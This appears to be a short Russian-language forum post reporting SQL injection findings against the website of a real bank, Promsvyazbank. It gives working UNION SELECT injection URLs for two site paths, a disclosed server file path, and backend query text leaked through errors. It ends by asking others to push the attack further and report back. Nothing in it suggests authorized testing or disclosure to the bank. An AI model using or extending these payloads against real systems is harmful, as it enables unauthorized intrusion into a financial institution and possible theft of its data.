Промсвязьбанк
target:
http://www.psbank.ru

SQL:
http://www.psbank.ru/news/bank/-9722'+union+select+1,2,3,4,5,6,'sql/*.html
http://www.psbank.ru/person/-46'+union+select+1,2,'/*/

раскрытие пути:
/home/www/webadmin/inc/pfunc.php

SELECT * FROM PSBNEWS WHERE "id" = '*'

SELECT "dir" , "title" as "title" , "id" , "pid" , "hiddenLink" , "cod" FROM CATALOGUE_FIN WHERE "dir" = 'news' or "dir" = 'bank' or "dir" = '-9722' + union + select + 1 , 2 , 3 , 4 , 5 + where + "id" != '1' ORDER BY "pid"

Это все что удалось наковырять. Если у кого что получится больше, отпишитесь плз